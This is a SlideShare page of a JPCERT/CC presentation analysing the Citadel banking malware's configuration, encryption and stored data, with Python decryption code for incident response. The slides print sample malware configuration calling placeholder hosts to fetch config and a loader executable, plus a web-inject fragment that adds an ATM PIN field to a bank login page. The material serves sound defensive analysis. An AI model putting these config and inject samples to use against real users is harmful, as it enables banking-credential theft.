SlideShare a Scribd company logo
1 of 50
Download to read offline
Fight Against
Citadel in Japan
2014/02/18
JPCERT/CC 分析センター
中津留 勇
Copyright©2014 JPCERT/CC All rights reserved.1
目次
背景
—日本における不正送金被害
Citadel の分析
—動作概要
—暗号化
メイキング Citadel Decryptor
Citadel Decryptor
—復号方法
—デモ
Copyright©2014 JPCERT/CC All rights reserved.2
背景
Copyright©2014 JPCERT/CC All rights reserved.3
日本における不正送金被害
14億600万円
4800万円
3億800万円
2011年 2012年 2013年
http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf
標的となった金融機関は 32
Copyright©2014 JPCERT/CC All rights reserved.4
その裏で・・・
http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf
Copyright©2014 JPCERT/CC All rights reserved.5
不正送金に関連したマルウェア
ZeuS
Ice IX
Citadel
GameOver
SpyEye Carberp etc.
Copyright©2014 JPCERT/CC All rights reserved.6
Citadel の感染被害
http://blog.trendmicro.co.jp/archives/7547
Copyright©2014 JPCERT/CC All rights reserved.7
インシデント全体像
リモート操作用
サーバ
管理サーバ
攻撃者
ユーザ
インターネット
バンキング
Copyright©2014 JPCERT/CC All rights reserved.8
Web Injects
ユーザ
インターネット
バンキング
Copyright©2014 JPCERT/CC All rights reserved.9
Web Injects デモ
Copyright©2014 JPCERT/CC All rights reserved.10
マルウェアの作成・管理ツール
Copyright©2014 JPCERT/CC All rights reserved.11
アンダーグラウンドでの売買
Copyright©2014 JPCERT/CC All rights reserved.12
インシデント対応
リモート操作用
サーバ
管理サーバ
攻撃者
ユーザ
インターネット
バンキング
情報共有
Copyright©2014 JPCERT/CC All rights reserved.13
インシデント対応するために
リモート操作用
サーバ
管理サーバ
攻撃者
ユーザ
インターネット
バンキング
どのサイト?
どこの?
どこの?
どうやって?
どこの?
Copyright©2014 JPCERT/CC All rights reserved.14
CITADEL の分析
Copyright©2014 JPCERT/CC All rights reserved.15
Citadel の分析を行うにあたって
リーク版
Citadel
Web パネル
ビルダー
リーク版
ZeuS
Web パネル
ビルダー
ZeuS
ソースコード
Web パネル
ソース
ビルダー
ソース
ビルドされ
たサーバ
デバッグ情
報
ブログ記事等
Sophos
LEXSI
Copyright©2014 JPCERT/CC All rights reserved.16
分析手法
• ファイル情報等の情報収集
表層分析
• 監視ツール、Sandbox、デバッグ
動的分析
• ソースコードを読む、アセンブリコードを読む
静的分析
Copyright©2014 JPCERT/CC All rights reserved.17
静的分析
ZeuS との差分を調査
Copyright©2014 JPCERT/CC All rights reserved.18
Citadel の挙動
送信用レポート
現在の設定など
Web
Injects
Copyright©2014 JPCERT/CC All rights reserved.19
2つの設定ファイル
• 初期設定
• 暗号鍵、Dynamic Config の URL など
• エンコードされてハードコード
Base Config
• 追加の設定
• Webパネルの URL、Web Injects、etc…
• サーバからダウンロード
Dynamic Config
Copyright©2014 JPCERT/CC All rights reserved.20
botnet "CIT"
timer_config 4 9
timer_logs 3 6
timer_stats 4 8
timer_modules 1 4
timer_autoupdate 8
url_config1 "http://citadelhost/folder/file.php|file=config.dll"
url_config2 "http://reserve-citadelhost/folder/file.php|file=config.dll"
remove_certs 1
disable_cookies 0
encryption_key "key123"
report_software 1
enable_luhn10_get 0
enable_luhn10_post 1
disable_antivirus 0
use_module_video 1
antiemulation_enable 0
disable_httpgrabber 0
use_module_ffcookie 1
Base Config
Dynamic Config の URL
RC4 鍵を生成するための
パスワード
Copyright©2014 JPCERT/CC All rights reserved.21
Dynamic Config
url_loader "http://citadelhost/folder/file.php|file=soft.exe"
url_server "http://citadelhost/folder/gate.php"
file_webinjects "injects.txt"
url_webinjects "http://citadelhost/folder/file.php"
entry "AdvancedConfigs"
"http://reserve-host1/folder/file.php|file=config.bin"
"http://reserve-host2/folder/file.php|file=config.bin"
end
entry "WebFilters"
"#*wellsfargo.com/*"
"@*payment.com/*"
"!http://*.com/*.jpg"
end
(snip)
set_url https://www.wellsfargo.com/ GP
data_before
<div><strong><label for="userid">Username</la
data_end
data_inject
<input type="text" accesskey="U" id="userid" na
<DIV><STRONG><LABEL for=userid>ATM Pin</L
style="WIDTH: 147px" tabIndex="2" maxLength=
<DIV><STRONG><label for="password">Passwo
<input type="password" accesskey="P" id="pass
<input type="hidden" name="screenid" value="SI
<input type="submit" value="Go" name="btnSign
<input type="hidden" id="u_p" name="u_p" value
</form>
data_end
Copyright©2014 JPCERT/CC All rights reserved.22
情報の暗号化
Copyright©2014 JPCERT/CC All rights reserved.23
暗号化されたデータ
Copyright©2014 JPCERT/CC All rights reserved.24
暗号化されたデータの内容
パケット
送信データ
(レポート)
Dynamic Config
追加モジュール
ファイル
レポート
追加モジュール
のバックアップ
レジストリ
現在の設定
Dynamic Config
のバックアップ
Copyright©2014 JPCERT/CC All rights reserved.25
Citadel が用いる暗号方式
• AES に XOR エンコードを組み合わせた方式
AES+
• RC4 に XOR エンコードを組み合わせた方式
RC4+
• RC4+ による復号を 2度行う
RC4+ * 2
• インストール時にランダムに生成した AES 鍵を使用した
AES+
Installed Data
Copyright©2014 JPCERT/CC All rights reserved.26
Citadel が扱うデータ形式
ヘッダ
アイテム
アイテム
アイテム
暗号化 BinStrage
サイズ (XOR)
BinStrage
暗号化 BinStrage
サイズ (XOR)
暗号化 BinStrage
サイズ (XOR)
StrageArray
UCL 圧縮
Copyright©2014 JPCERT/CC All rights reserved.27
Dynamic Config の場合
Base
Config
Dynamic
Config
XOR
AES+
UCL 圧縮
Copyright©2014 JPCERT/CC All rights reserved.28
0x400 バイトのオーバーレイ
実行ファイル 実行ファイル
Install Setting
Installed Data
インストール前の Citadel インストール後
XOR 鍵
ID, インストールパス,
ランダム AES 鍵、
ランダム StrageArray 鍵
など
パディング
パディング
Copyright©2014 JPCERT/CC All rights reserved.29
復号対象まとめ
カテゴリ 対象 形式 暗号方式
パケット
レポート 暗号化 BinStrage RC4+
Dynamic Config 暗号化 BinStrage AES+
追加モジュール 実行ファイル RC4+ * 2
ファイル
レポートファイル StrageArray Installed Data
モジュールの
バックアップ StrageArray Installed Data
レジストリ
Dynamic Config の
バックアップ
暗号化 BinStrage Installed Data
Copyright©2014 JPCERT/CC All rights reserved.30
メイキング
CITADEL DECRYPTOR
Copyright©2014 JPCERT/CC All rights reserved.31
ゴール
インシデント対応に必要な情報を復号する
Copyright©2014 JPCERT/CC All rights reserved.32
実装
Python PyCrypto
pefile UCL
Copyright©2014 JPCERT/CC All rights reserved.33
RC4+ 復号処理
RC4 鍵取得
RC4
Visual
Decrypt
Copyright©2014 JPCERT/CC All rights reserved.34
RC4+ 実装
def rc4_plus_decrypt(login_key, base_key, buf):
S1 = base_key['state']
S2 = map(ord, login_key)
out = ""
i = j = k = 0
for c in buf:
i = (i + 1) & 0xFF
j = (j + S1[i]) & 0xFF
S1[i], S1[j] = S1[j], S1[i]
out += chr((ord(c) ^ S1[(S1[i]+S1[j])&0xFF])
^ S2[k%len(S2)])
k += 1
return out
Copyright©2014 JPCERT/CC All rights reserved.35
AES 鍵取得
AES 復号
Visual
Decrypt
AES+ 復号処理
Copyright©2014 JPCERT/CC All rights reserved.36
AES+ 実装
def unpack_aes_plus(login_key, base_key, xor_key,
aes_key, data):
aes = AES.new(aes_key)
tmp = aes.decrypt(data)
out = ""
for i in range(len(tmp)):
out += chr(ord(tmp[i]) ^
ord(xor_key[i%len(xor_key)]))
return out
Copyright©2014 JPCERT/CC All rights reserved.37
必要なパラメータ
Base
Config
RC4 鍵
Installed
Data
StrageArray
鍵
ランダム
AES 鍵
その他
Salt
LoginKey
AES XOR 鍵
Copyright©2014 JPCERT/CC All rights reserved.38
必要なパラメータの取得
re.compile(".*¥x56¥xBA(..)¥x00¥x00¥x52¥x68(....)
¥x50¥xE8....¥x8B¥x0D.*", re.DOTALL)
Copyright©2014 JPCERT/CC All rights reserved.39
UCL Decompress
http://www.oberhumer.com/opensource/ucl/
Copyright©2014 JPCERT/CC All rights reserved.40
UCL Decompress 実装
def _ucl_decompress(self, data):
ucl = cdll.LoadLibrary(UCL)
compressed = c_buffer(data)
decompressed = c_buffer(DECOMPRESS_MAX_SIZE)
decompressed_size = c_int()
result = ucl.ucl_nrv2b_decompress_le32(
pointer(compressed),
c_int(len(compressed.raw)),
pointer(decompressed),
pointer(decompressed_size))
return decompressed.raw[:decompressed_size.value]
Copyright©2014 JPCERT/CC All rights reserved.41
CITADEL DECRYPTOR
Copyright©2014 JPCERT/CC All rights reserved.42
動作に必要な環境
•コードおよび使用しているライブラリが 64bit に対応していないため
Windows + 32bit Python
•Python の暗号モジュール
•AES 復号を行うために使用
•Windows 用のバイナリは
•http://www.voidspace.org.uk/python/modules.shtml#pycrypto
PyCrypto
•Python の Windows 実行ファイルをパースするモジュール
•セクション等をパースして、必要な鍵を取り出すために使用
pefile
Copyright©2014 JPCERT/CC All rights reserved.43
復号に必要なデータ
復号対象
アンパックされた Citadel 本体
• ベース RC4 鍵
• AES+ 用の XOR 鍵
• RC4+ 用の XOR 鍵(LOGINKEY)
• RC4+ 用の salt
インストールされた後の Citadel 本体
• Installed Data
• ランダムに生成された AES 鍵
• ランダムに生成された StrageArray 鍵
Copyright©2014 JPCERT/CC All rights reserved.44
citadel_decryptor.py
Citadel が扱う暗号化された様々なデータを復号するス
クリプト
復号対象と、アンパックした本体は常に引数に入れる必
要がある
>citadel_decryptor.py
usage: citadel_decryptor.py [-h] [-n] [-a] [-d]
[-o OUT] [-D] [-l LOGIN]
[-k KEY] [-x XOR] [-s SALT]
[-i INSTALLED]
[-m MODE] [-v]
DAT EXE
citadel_decryptor.py: error: too few arguments
>
Copyright©2014 JPCERT/CC All rights reserved.45
目的別オプション
以下のオプションと、復号対象およびアンパック後の
Citadel を指定する
カテゴリ 対象 指定オプション
パケット
レポート -m2
Dynamic Config -d
モジュール -m3 -n
ファイル
レポートファイル -a -i [Install Data を持つ実行ファイル]
モジュールの
バックアップ
-a -i [Install Data を持つ実行ファイル]
レジストリ
Dynamic Config の
バックアップ
-d -i [Install Data を持つ実行ファイル]
Copyright©2014 JPCERT/CC All rights reserved.46
実践
Copyright©2014 JPCERT/CC All rights reserved.47
Tips
レジストリデータのバイナリ化
• regedit を用いエクスポートしたデータを FileInsight のプラグインで
バイナリデータに変換
• https://github.com/nmantani/FileInsight-plugins
アンパック
• パッカーが呼び出す API でブレークする方法が簡単
• WriteProcessMemory
• CreateProcessW
• VirtualFree / VirtualFreeEx / RtlFreeHeap
• 仮想メモリ上から実行ファイルそのものを取り出す
• オーバーレイの 0x400 バイトを忘れずに切り取る
Copyright©2014 JPCERT/CC All rights reserved.48
今後の活動
今持っているツール
• Citadel Decryptor
• ZeuS Decryptor
• Ver 2.0.8.9
• Ver 2.9.6.1
• Ice IX Decryptor
• etc.
持っていないツール
• Gameover (P2P ZeuS) Decryptor
Thank You!
連絡先
aa-info@jpcert.or.jp
https://www.jpcert.or.jp
インシデント報告
info@jpcert.or.jp
https://www.jpcert.or.jp/form/

More Related Content

What's hot

FPGA+SoC+Linux実践勉強会資料
FPGA+SoC+Linux実践勉強会資料FPGA+SoC+Linux実践勉強会資料
FPGA+SoC+Linux実践勉強会資料一路 川染
 
関東GPGPU勉強会 LLVM meets GPU
関東GPGPU勉強会 LLVM meets GPU関東GPGPU勉強会 LLVM meets GPU
関東GPGPU勉強会 LLVM meets GPUTakuro Iizuka
 
高速な暗号実装のためにしてきたこと
高速な暗号実装のためにしてきたこと高速な暗号実装のためにしてきたこと
高速な暗号実装のためにしてきたことMITSUNARI Shigeo
 
WASM(WebAssembly)入門 ペアリング演算やってみた
WASM(WebAssembly)入門 ペアリング演算やってみたWASM(WebAssembly)入門 ペアリング演算やってみた
WASM(WebAssembly)入門 ペアリング演算やってみたMITSUNARI Shigeo
 
C/C++プログラマのための開発ツール
C/C++プログラマのための開発ツールC/C++プログラマのための開発ツール
C/C++プログラマのための開発ツールMITSUNARI Shigeo
 
Zynq mp勉強会資料
Zynq mp勉強会資料Zynq mp勉強会資料
Zynq mp勉強会資料一路 川染
 
Spectre/Meltdownとその派生
Spectre/Meltdownとその派生Spectre/Meltdownとその派生
Spectre/Meltdownとその派生MITSUNARI Shigeo
 
1075: .NETからCUDAを使うひとつの方法
1075: .NETからCUDAを使うひとつの方法1075: .NETからCUDAを使うひとつの方法
1075: .NETからCUDAを使うひとつの方法NVIDIA Japan
 
条件分岐とcmovとmaxps
条件分岐とcmovとmaxps条件分岐とcmovとmaxps
条件分岐とcmovとmaxpsMITSUNARI Shigeo
 
きつねさんでもわかるLlvm読書会 第2回
きつねさんでもわかるLlvm読書会 第2回きつねさんでもわかるLlvm読書会 第2回
きつねさんでもわかるLlvm読書会 第2回Tomoya Kawanishi
 
機械学習 (AI/ML) 勉強会 #2 IoT編
機械学習 (AI/ML) 勉強会 #2 IoT編 機械学習 (AI/ML) 勉強会 #2 IoT編
機械学習 (AI/ML) 勉強会 #2 IoT編 Fujio Kojima
 
Xeon PhiとN体計算コーディング x86/x64最適化勉強会6(@k_nitadoriさんの代理アップ)
Xeon PhiとN体計算コーディング x86/x64最適化勉強会6(@k_nitadoriさんの代理アップ)Xeon PhiとN体計算コーディング x86/x64最適化勉強会6(@k_nitadoriさんの代理アップ)
Xeon PhiとN体計算コーディング x86/x64最適化勉強会6(@k_nitadoriさんの代理アップ)MITSUNARI Shigeo
 
Pythonによる並列プログラミング -GPGPUも-
Pythonによる並列プログラミング   -GPGPUも- Pythonによる並列プログラミング   -GPGPUも-
Pythonによる並列プログラミング -GPGPUも- Yusaku Watanabe
 
Ctfのためのpython入門
Ctfのためのpython入門Ctfのためのpython入門
Ctfのためのpython入門shiracamus
 
1072: アプリケーション開発を加速するCUDAライブラリ
1072: アプリケーション開発を加速するCUDAライブラリ1072: アプリケーション開発を加速するCUDAライブラリ
1072: アプリケーション開発を加速するCUDAライブラリNVIDIA Japan
 

What's hot (20)

LLVM最適化のこつ
LLVM最適化のこつLLVM最適化のこつ
LLVM最適化のこつ
 
FPGA+SoC+Linux実践勉強会資料
FPGA+SoC+Linux実践勉強会資料FPGA+SoC+Linux実践勉強会資料
FPGA+SoC+Linux実践勉強会資料
 
フラグを愛でる
フラグを愛でるフラグを愛でる
フラグを愛でる
 
関東GPGPU勉強会 LLVM meets GPU
関東GPGPU勉強会 LLVM meets GPU関東GPGPU勉強会 LLVM meets GPU
関東GPGPU勉強会 LLVM meets GPU
 
高速な暗号実装のためにしてきたこと
高速な暗号実装のためにしてきたこと高速な暗号実装のためにしてきたこと
高速な暗号実装のためにしてきたこと
 
WASM(WebAssembly)入門 ペアリング演算やってみた
WASM(WebAssembly)入門 ペアリング演算やってみたWASM(WebAssembly)入門 ペアリング演算やってみた
WASM(WebAssembly)入門 ペアリング演算やってみた
 
C/C++プログラマのための開発ツール
C/C++プログラマのための開発ツールC/C++プログラマのための開発ツール
C/C++プログラマのための開発ツール
 
Zynq mp勉強会資料
Zynq mp勉強会資料Zynq mp勉強会資料
Zynq mp勉強会資料
 
Spectre/Meltdownとその派生
Spectre/Meltdownとその派生Spectre/Meltdownとその派生
Spectre/Meltdownとその派生
 
1075: .NETからCUDAを使うひとつの方法
1075: .NETからCUDAを使うひとつの方法1075: .NETからCUDAを使うひとつの方法
1075: .NETからCUDAを使うひとつの方法
 
条件分岐とcmovとmaxps
条件分岐とcmovとmaxps条件分岐とcmovとmaxps
条件分岐とcmovとmaxps
 
きつねさんでもわかるLlvm読書会 第2回
きつねさんでもわかるLlvm読書会 第2回きつねさんでもわかるLlvm読書会 第2回
きつねさんでもわかるLlvm読書会 第2回
 
機械学習 (AI/ML) 勉強会 #2 IoT編
機械学習 (AI/ML) 勉強会 #2 IoT編 機械学習 (AI/ML) 勉強会 #2 IoT編
機械学習 (AI/ML) 勉強会 #2 IoT編
 
Xeon PhiとN体計算コーディング x86/x64最適化勉強会6(@k_nitadoriさんの代理アップ)
Xeon PhiとN体計算コーディング x86/x64最適化勉強会6(@k_nitadoriさんの代理アップ)Xeon PhiとN体計算コーディング x86/x64最適化勉強会6(@k_nitadoriさんの代理アップ)
Xeon PhiとN体計算コーディング x86/x64最適化勉強会6(@k_nitadoriさんの代理アップ)
 
Pythonによる並列プログラミング -GPGPUも-
Pythonによる並列プログラミング   -GPGPUも- Pythonによる並列プログラミング   -GPGPUも-
Pythonによる並列プログラミング -GPGPUも-
 
Ctfのためのpython入門
Ctfのためのpython入門Ctfのためのpython入門
Ctfのためのpython入門
 
Reconf 201506
Reconf 201506Reconf 201506
Reconf 201506
 
1072: アプリケーション開発を加速するCUDAライブラリ
1072: アプリケーション開発を加速するCUDAライブラリ1072: アプリケーション開発を加速するCUDAライブラリ
1072: アプリケーション開発を加速するCUDAライブラリ
 
From IA-32 to avx-512
From IA-32 to avx-512From IA-32 to avx-512
From IA-32 to avx-512
 
ADVENTURE_Thermalの概要
ADVENTURE_Thermalの概要ADVENTURE_Thermalの概要
ADVENTURE_Thermalの概要
 

Similar to Fight Against Citadel in Japan by 中津留 勇

Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64FFRI, Inc.
 
Windowsのパケットモニタ作成
Windowsのパケットモニタ作成Windowsのパケットモニタ作成
Windowsのパケットモニタ作成Shinichi Hirauchi
 
Bluetooth通信の 仕組みと活用法紹介
Bluetooth通信の仕組みと活用法紹介Bluetooth通信の仕組みと活用法紹介
Bluetooth通信の 仕組みと活用法紹介Takehiko YOSHIDA
 
Lagopusで試すFirewall
Lagopusで試すFirewallLagopusで試すFirewall
Lagopusで試すFirewallTomoya Hibi
 
Container Networking Deep Dive
Container Networking Deep DiveContainer Networking Deep Dive
Container Networking Deep DiveHirofumi Ichihara
 
OpenStack Summit November 2014 Paris出張報告
OpenStack Summit November 2014 Paris出張報告OpenStack Summit November 2014 Paris出張報告
OpenStack Summit November 2014 Paris出張報告Mitsuhiro SHIGEMATSU
 
5月中旬の仮想通貨Re-orgについて
5月中旬の仮想通貨Re-orgについて5月中旬の仮想通貨Re-orgについて
5月中旬の仮想通貨Re-orgについてMasanori Kusunoki
 
KubeCon EU報告(ランタイム関連,イメージ関連)
KubeCon EU報告(ランタイム関連,イメージ関連)KubeCon EU報告(ランタイム関連,イメージ関連)
KubeCon EU報告(ランタイム関連,イメージ関連)Akihiro Suda
 
Devsumi2010 Ecmascript5 (ISO/IEC JTC1/SC22)
Devsumi2010 Ecmascript5 (ISO/IEC JTC1/SC22)Devsumi2010 Ecmascript5 (ISO/IEC JTC1/SC22)
Devsumi2010 Ecmascript5 (ISO/IEC JTC1/SC22)takesako
 
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)Takeshi Yamamuro
 
LoRaWANとAzure IoT Hub接続ハンズオン
LoRaWANとAzure IoT Hub接続ハンズオンLoRaWANとAzure IoT Hub接続ハンズオン
LoRaWANとAzure IoT Hub接続ハンズオンTomokazu Kizawa
 
BitVisor Summit 7「8. ベアメタルクラウドにおけるハードウェア保護に関する研究 & Advent Calendar について」
BitVisor Summit 7「8. ベアメタルクラウドにおけるハードウェア保護に関する研究 & Advent Calendar について」BitVisor Summit 7「8. ベアメタルクラウドにおけるハードウェア保護に関する研究 & Advent Calendar について」
BitVisor Summit 7「8. ベアメタルクラウドにおけるハードウェア保護に関する研究 & Advent Calendar について」BitVisor
 
GTMF 2015: 「音声再生遅延推測機能」正式リリース! ズレない!待たせない!快適なスマホゲームを実現する技術紹介 | 株式会社CRI・ミドルウェア
GTMF 2015: 「音声再生遅延推測機能」正式リリース! ズレない!待たせない!快適なスマホゲームを実現する技術紹介 | 株式会社CRI・ミドルウェアGTMF 2015: 「音声再生遅延推測機能」正式リリース! ズレない!待たせない!快適なスマホゲームを実現する技術紹介 | 株式会社CRI・ミドルウェア
GTMF 2015: 「音声再生遅延推測機能」正式リリース! ズレない!待たせない!快適なスマホゲームを実現する技術紹介 | 株式会社CRI・ミドルウェアGame Tools & Middleware Forum
 
drecomにおけるwinning the metrics battle
drecomにおけるwinning the metrics battledrecomにおけるwinning the metrics battle
drecomにおけるwinning the metrics battleMitsuki Kenichi
 
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”Drecom Co., Ltd.
 
20180704 soracom discovery_ug#11
20180704 soracom discovery_ug#1120180704 soracom discovery_ug#11
20180704 soracom discovery_ug#11Haruka Yamashita
 
インメモリーで超高速処理を実現する場合のカギ
インメモリーで超高速処理を実現する場合のカギインメモリーで超高速処理を実現する場合のカギ
インメモリーで超高速処理を実現する場合のカギMasaki Yamakawa
 

Similar to Fight Against Citadel in Japan by 中津留 勇 (20)

Reconf 201901
Reconf 201901Reconf 201901
Reconf 201901
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64
 
Windowsのパケットモニタ作成
Windowsのパケットモニタ作成Windowsのパケットモニタ作成
Windowsのパケットモニタ作成
 
Bluetooth通信の 仕組みと活用法紹介
Bluetooth通信の仕組みと活用法紹介Bluetooth通信の仕組みと活用法紹介
Bluetooth通信の 仕組みと活用法紹介
 
Lagopusで試すFirewall
Lagopusで試すFirewallLagopusで試すFirewall
Lagopusで試すFirewall
 
Container Networking Deep Dive
Container Networking Deep DiveContainer Networking Deep Dive
Container Networking Deep Dive
 
OpenStack Summit November 2014 Paris出張報告
OpenStack Summit November 2014 Paris出張報告OpenStack Summit November 2014 Paris出張報告
OpenStack Summit November 2014 Paris出張報告
 
5月中旬の仮想通貨Re-orgについて
5月中旬の仮想通貨Re-orgについて5月中旬の仮想通貨Re-orgについて
5月中旬の仮想通貨Re-orgについて
 
KubeCon EU報告(ランタイム関連,イメージ関連)
KubeCon EU報告(ランタイム関連,イメージ関連)KubeCon EU報告(ランタイム関連,イメージ関連)
KubeCon EU報告(ランタイム関連,イメージ関連)
 
Multiple Dimension Spreadのご紹介
Multiple Dimension Spreadのご紹介Multiple Dimension Spreadのご紹介
Multiple Dimension Spreadのご紹介
 
Devsumi2010 Ecmascript5 (ISO/IEC JTC1/SC22)
Devsumi2010 Ecmascript5 (ISO/IEC JTC1/SC22)Devsumi2010 Ecmascript5 (ISO/IEC JTC1/SC22)
Devsumi2010 Ecmascript5 (ISO/IEC JTC1/SC22)
 
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
 
LoRaWANとAzure IoT Hub接続ハンズオン
LoRaWANとAzure IoT Hub接続ハンズオンLoRaWANとAzure IoT Hub接続ハンズオン
LoRaWANとAzure IoT Hub接続ハンズオン
 
BitVisor Summit 7「8. ベアメタルクラウドにおけるハードウェア保護に関する研究 & Advent Calendar について」
BitVisor Summit 7「8. ベアメタルクラウドにおけるハードウェア保護に関する研究 & Advent Calendar について」BitVisor Summit 7「8. ベアメタルクラウドにおけるハードウェア保護に関する研究 & Advent Calendar について」
BitVisor Summit 7「8. ベアメタルクラウドにおけるハードウェア保護に関する研究 & Advent Calendar について」
 
GTMF 2015: 「音声再生遅延推測機能」正式リリース! ズレない!待たせない!快適なスマホゲームを実現する技術紹介 | 株式会社CRI・ミドルウェア
GTMF 2015: 「音声再生遅延推測機能」正式リリース! ズレない!待たせない!快適なスマホゲームを実現する技術紹介 | 株式会社CRI・ミドルウェアGTMF 2015: 「音声再生遅延推測機能」正式リリース! ズレない!待たせない!快適なスマホゲームを実現する技術紹介 | 株式会社CRI・ミドルウェア
GTMF 2015: 「音声再生遅延推測機能」正式リリース! ズレない!待たせない!快適なスマホゲームを実現する技術紹介 | 株式会社CRI・ミドルウェア
 
drecomにおけるwinning the metrics battle
drecomにおけるwinning the metrics battledrecomにおけるwinning the metrics battle
drecomにおけるwinning the metrics battle
 
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
[CEDEC2014]モバイルゲームにおける社内基盤開発と“実録”
 
20180704 soracom discovery_ug#11
20180704 soracom discovery_ug#1120180704 soracom discovery_ug#11
20180704 soracom discovery_ug#11
 
インメモリーで超高速処理を実現する場合のカギ
インメモリーで超高速処理を実現する場合のカギインメモリーで超高速処理を実現する場合のカギ
インメモリーで超高速処理を実現する場合のカギ
 
オタク×Node.js勉強会
オタク×Node.js勉強会オタク×Node.js勉強会
オタク×Node.js勉強会
 

More from CODE BLUE

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...CODE BLUE
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten NohlCODE BLUE
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo PupilloCODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫CODE BLUE
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...CODE BLUE
 
